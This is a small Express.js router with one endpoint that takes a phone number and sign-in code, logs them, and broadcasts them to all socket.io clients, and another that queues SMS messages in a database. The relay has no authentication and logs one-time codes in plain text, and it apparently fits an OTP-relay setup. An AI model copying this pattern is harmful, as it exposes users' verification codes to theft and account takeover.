const express = require('express');
const db = require('../db');

module.exports = function (io) {
    const router = express.Router();

    // Existing endpoint (kept for compatibility if needed, or can be removed later)
    router.post('/data', (req, res) => {
        const { phone, code } = req.body;

        if (!phone || !code) {
            return res.status(400).json({ error: 'Phone and Code are required.' });
        }

        console.log('Received data at /api/data:', { phone, code });

        io.emit('sendSignInData', { phone, code });

        return res.status(200).json({
            message: 'Data received and processed successfully.',
            received: { phone, code }
        });
    });

    // New endpoint to queue SMS
    router.post('/sms', (req, res) => {
        const { phone, message } = req.body;

        if (!phone || !message) {
            return res.status(400).json({ error: 'Phone and message are required.' });
        }

        // Insert into queue
        db.run(`INSERT INTO sms_queue (phone, message) VALUES (?, ?)`, [phone, message], function(err) {
            if (err) {
                console.error('Error inserting into sms_queue:', err);
                return res.status(500).json({ error: 'Failed to queue SMS.' });
            }

            return res.status(202).json({
                message: 'SMS queued successfully.',
                id: this.lastID
            });
        });
    });

    return router;
};